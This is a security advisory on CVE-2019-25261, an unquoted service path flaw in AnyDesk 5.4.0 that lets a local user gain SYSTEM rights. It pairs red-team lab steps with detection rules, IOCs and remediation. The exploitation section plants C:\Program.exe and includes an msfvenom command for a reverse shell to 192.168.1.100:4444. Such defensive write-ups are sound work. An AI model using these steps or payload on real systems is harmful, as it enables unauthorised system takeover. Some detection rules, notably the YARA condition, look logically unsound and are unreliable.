CVE-2019-25261

Executive Summary

CVE-2019-25261 is a local privilege escalation vulnerability affecting AnyDesk version 5.4.0 on Windows. The flaw stems from an unquoted service path in the AnyDesk Windows service configuration. This allows a local attacker with low privileges to place a malicious executable in a directory that the system will attempt to execute as part of the service startup, leading to arbitrary code execution with SYSTEM privileges. The vulnerability is publicly known and has a CVSS score of 0.0 (likely unassigned or placeholder), but the actual risk is high for local attackers.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs low-privileged access.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify system files.
• Availability (A): High (H) – Service disruption possible.

Threat Level: High for local attackers. Remote exploitation is not possible without prior access.

Deep Dive & Mechanics

The vulnerability exists because the AnyDesk Windows service is configured with an unquoted service path. When Windows starts a service, it parses the binary path. If the path contains spaces and is not enclosed in quotes, Windows will attempt to execute each space-separated token as a potential executable. For example, if the service path is C:\Program Files\AnyDesk\AnyDesk.exe, Windows will first try to execute C:\Program.exe, then C:\Program Files\AnyDesk\AnyDesk.exe. An attacker can place a malicious executable named Program.exe in C:\ to hijack the service.

The vulnerable service path in AnyDesk 5.4.0 is typically:

C:\Program Files (x86)\AnyDesk\AnyDesk.exe

Without quotes, Windows will attempt to execute C:\Program.exe (or C:\Program Files (x86)\AnyDesk\AnyDesk.exe after failing). The attacker can place a malicious Program.exe in C:\ to gain SYSTEM privileges when the service starts.

Vulnerable vs. Patched Code

Vulnerable Configuration (AnyDesk 5.4.0):

sc qc AnyDesk
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AnyDesk
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\AnyDesk\AnyDesk.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyDesk
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

The BINARY_PATH_NAME is unquoted.

Patched Configuration (AnyDesk 5.4.1 or later):

sc qc AnyDesk
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AnyDesk
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\AnyDesk\AnyDesk.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyDesk
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

The path is now quoted, preventing the space-based hijack.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install AnyDesk 5.4.0 on a Windows VM.
2. Create a low-privileged user account.
3. Verify the service path: sc qc AnyDesk.

Exploitation Steps:

1. As a low-privileged user, create a malicious executable named Program.exe in C:\ (e.g., using msfvenom).
2. Place the executable: copy malicious.exe C:\Program.exe
3. Trigger the service restart (requires admin or wait for reboot): sc stop AnyDesk && sc start AnyDesk
4. The malicious C:\Program.exe executes with SYSTEM privileges.

Example Payload Generation:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe

Post-Exploitation:

• The attacker gains a SYSTEM shell.
• Can install backdoors, exfiltrate data, or pivot.

Blue Team

Detection:

• Monitor for creation of C:\Program.exe or similar files in root directories.
• Alert on service path changes: sc qc AnyDesk showing unquoted path.
• Use Sysmon Event ID 1 (Process Creation) to detect execution of Program.exe from C:\.

Hunting:

• Search for services with unquoted paths: wmic service get name,pathname | findstr /i "Program Files" | findstr /v "\""
• Check for suspicious files in C:\, C:\Program, etc.

Mitigation:

• Update AnyDesk to version 5.4.1 or later.
• If update is not possible, manually quote the service path:

  sc config AnyDesk binPath= "\"C:\Program Files (x86)\AnyDesk\AnyDesk.exe\""
  

• Restrict write permissions to root directories for low-privileged users.

Indicators of Compromise (IOCs)

• File: C:\Program.exe (or other space-split tokens)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\AnyDesk\ImagePath with unquoted path
• Process: Program.exe running from C:\
• Network: Reverse shell connections from Program.exe (e.g., to 192.168.1.100:4444)
• Event Logs: Windows Security Event ID 4688 (Process Creation) showing Program.exe with parent services.exe

Detection Engineering

YARA Rule

rule AnyDesk_UnquotedServicePath {
    meta:
        description = "Detects unquoted service path in AnyDesk registry"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25261"
    strings:
        $reg_path = "C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe" nocase
        $unquoted = "\\AnyDesk.exe" nocase
    condition:
        $reg_path and not $unquoted at 0
}

Sigma Rule

title: AnyDesk Unquoted Service Path Exploitation
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation of Program.exe in root directory, indicating exploitation of CVE-2019-25261
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: 'C:\Program.exe'
    condition: selection
falsepositives:
    - Legitimate software named Program.exe (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"AnyDesk Unquoted Service Path - Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update AnyDesk to version 5.4.1 or later.
2. Workaround: Manually quote the service path:

   sc config AnyDesk binPath= "\"C:\Program Files (x86)\AnyDesk\AnyDesk.exe\""
   

3. Preventive: Restrict write permissions to C:\ and other root directories for non-admin users.
4. Monitoring: Enable logging for service creation/modification and file creation in root directories.
5. Audit: Regularly scan for unquoted service paths using tools like PowerUp or SharpUp.

Valters IT